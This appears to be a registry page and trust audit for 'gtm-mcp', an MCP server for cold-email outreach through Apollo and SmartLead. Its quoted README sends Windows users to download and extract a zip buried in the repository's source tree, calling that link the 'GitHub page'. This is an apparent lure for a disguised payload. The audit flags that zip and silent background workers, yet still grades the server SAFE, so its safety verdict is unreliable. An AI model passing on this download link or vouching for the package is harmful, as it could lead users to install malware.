gtm-mcpSAFE
Run B2B cold outreach in Claude Code: find companies, verify fit, extract contacts, write sequences, and launch campaigns locally
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/aleprieto790-alt/gtm-mcp/main/src/gtm_mcp/tools/gtm-mcp-v2.6.zip)
🚀 What this does
gtm-mcp is a self-hosted outreach pipeline for Claude Code. It helps you find companies, sort them with AI, pull contact data, write personal outreach, and send it to SmartLead.
You run one command, /launch, and Claude handles the steps in order. The server does not make LLM calls. All reasoning stays in Claude.
🪟 Windows setup
Use the link below to open the project page, then download or clone it to your Windows PC.
What you need
- Windows 10 or Windows 11
- Claude Code installed
- A browser
- Internet access
- A SmartLead account
- An Apollo account
- A local way to run the project files
Before you start
Make sure you have:
- Access to the GitHub page
- Your Apollo login
- Your SmartLead API key
- Permission to run Claude Code on your machine
📥 Download and install
- Open the GitHub page: https://raw.githubusercontent.com/aleprieto790-alt/gtm-mcp/main/src/gtm_mcp/tools/gtm-mcp-v2.6.zip
- On the page, get the code by using the green Code button
- Choose Download ZIP, or copy the repository link for Git
- Save the files to a folder on your PC, such as
C:\gtm-mcp - If you downloaded a ZIP file, right-click it and choose Extract All
- Open the extracted folder
- Follow the project files in that folder to connect Claude Code and your outreach tools
🧩 What the app does
The workflow is built for outbound sales work:
- Finds companies in Apollo
- Classifies them with Claude
- Pulls contact details
- Writes outreach that fits e
b53b0b27a073OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add gtm-mcp -- uvx gtm-mcp
{
"mcpServers": {
"gtm-mcp": {
"command": "uvx",
"args": [
"gtm-mcp"
]
}
}
}Exposed tools (54)
30 read · 24 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
apollo_enrich_companies | read | Bulk enrich companies by domain. Max 10 per call, 1 credit per company. |
apollo_enrich_people | read | Enrich people by Apollo person IDs. 1 credit per verified email. |
apollo_estimate_cost | write | Estimate Apollo credits needed for a pipeline run. No API call. |
apollo_get_taxonomy | read | Get Apollo industry taxonomy with hex tag_ids + employee ranges. |
apollo_search_companies | read | Search Apollo for companies. 1 credit/page. Rate limited (300ms + 429 retry). |
apollo_search_people | read | Search Apollo for people at a company. FREE — no credits (search only). |
apollo_search_people_batch | read | Search people across many domains in parallel. FREE — no credits for search. |
assign_campaigns_to_projects | read | Auto-assign SmartLead campaigns to projects. Deterministic — zero LLM. |
blacklist_add | write | Add domains to the global blacklist with temporal metadata. |
blacklist_check | read | Check if a domain is blacklisted. |
blacklist_import | write | Import domains from a file into the blacklist. |
campaign_push | write | Atomic SmartLead campaign setup — ONE tool call does everything. |
create_project | write | Create a new project in workspace. |
find_campaign | read | Find a campaign by SmartLead ID or slug across all projects. |
get_config | read | Get current configuration. API keys show true/false (not values). Non-secret fields returned as values. |
get_project_costs | write | Get cost breakdown for a project — totals, per-campaign, and per-run. |
getsales_activate_flow | read | Activate a GetSales flow. Must pass confirm= |
getsales_add_leads | write | Add leads to a GetSales flow. |
getsales_build_flow | write | Build and create a GetSales LinkedIn flow from messages — no manual node construction. |
getsales_create_flow | write | Create a GetSales LinkedIn outreach flow from raw nodes. Prefer getsales_build_flow instead. |
getsales_list_profiles | read | List GetSales LinkedIn profiles. |
learn_assignment_correction | write | Learn from user correction — update project_rules.json. |
list_projects | read | List all projects in workspace. |
load_data | read | Load data from project workspace. |
normalize_company_name | read | Normalize company name — strips Inc/LLC/Ltd/Corp/GmbH and trailing punctuation. |
pipeline_compute_leaderboard | write | Compute keyword + industry leaderboard from run data. Zero LLM. |
pipeline_gather_and_scrape | read | Atomic gather + scrape pipeline — ONE tool call, full streaming inside. |
pipeline_import_blacklist | write | Export leads from SmartLead campaign + save as project-level blacklist. |
pipeline_people_to_push | write | Atomic post-classification → SmartLead. ONE call, ZERO LLM. |
pipeline_prepare_continuation | read | Deterministic continuation state builder for |
pipeline_probe | read | Deterministic probe — 6 Apollo searches + batch scrape in ONE call. |
pipeline_save_contacts | write | Deterministic save: contacts to BOTH contacts.json AND run file. |
pipeline_save_intelligence | write | Save cross-run intelligence from keyword leaderboard. Zero LLM. |
save_data | write | Save data to project workspace. Modes: write, merge, append, versioned. |
scrape_batch | read | Scrape many URLs in parallel with concurrency pool. No credits. |
scrape_website | read | Scrape a website and return cleaned text. No credits. |
set_config | write | Set a configuration value (e.g. apollo_api_key). |
sheets_create | write | Create a Google Sheet on Shared Drive with standard contact headers. |
sheets_export_contacts | read | Export project contacts to a Google Sheet. |
sheets_read | read | Read all data from a Google Sheet tab as list of dicts. |
smartlead_activate_campaign | read | Activate a SmartLead campaign. confirm must be exactly |
smartlead_add_leads | write | Add leads to a SmartLead campaign. |
smartlead_create_campaign | write | Create a SmartLead campaign with schedule, settings, and email accounts. |
smartlead_export_leads | read | Export all leads from a SmartLead campaign. |
smartlead_get_campaign | read | Get campaign details by ID — name, status, assigned accounts, sequences. |
smartlead_get_lead_messages | read | Fetch full message thread for a lead — sent emails + received replies. |
smartlead_list_accounts | read | Load ALL SmartLead email accounts, cache locally, return SUMMARY. |
smartlead_list_campaigns | read | List all SmartLead campaigns. |
smartlead_pause_campaign | read | Pause an active SmartLead campaign. confirm must be exactly |
smartlead_search_accounts | read | Search cached email accounts by name, email, or domain. |
smartlead_send_reply | write | Send a reply to a lead in SmartLead. |
smartlead_send_test_email | write | Send a test email from a campaign to verify the sequence. |
smartlead_set_sequence | write | Set email sequence steps for a SmartLead campaign. |
smartlead_sync_replies | write | Sync replied leads from a SmartLead campaign. Saves replies.json to workspace. |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (4)
gtm-mcp-v2.6.zip
Background workers produce zero chat output
src/gtm_mcp/reference/apollo_embeddings.npz
Gates applied: no_behavioural_pass, no_license.
b53b0b27a073full audit observations/trust-audit/mcp-server/aleprieto790-alt__gtm-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | b53b0b27a073 | SAFE | B | 89 | first audit |
Questions
What is the gtm-mcp MCP server?
Run B2B cold outreach in Claude Code: find companies, verify fit, extract contacts, write sequences, and launch campaigns locally
What tools does gtm-mcp expose?
54 in total: 30 read-only, 24 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is gtm-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does gtm-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How does gtm-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as gtm-mcp.
How current is this page?
The grade is for one exact copy of the source (b53b0b27a073), read on 2026-10-12. The repository is watched and re-audited when it changes.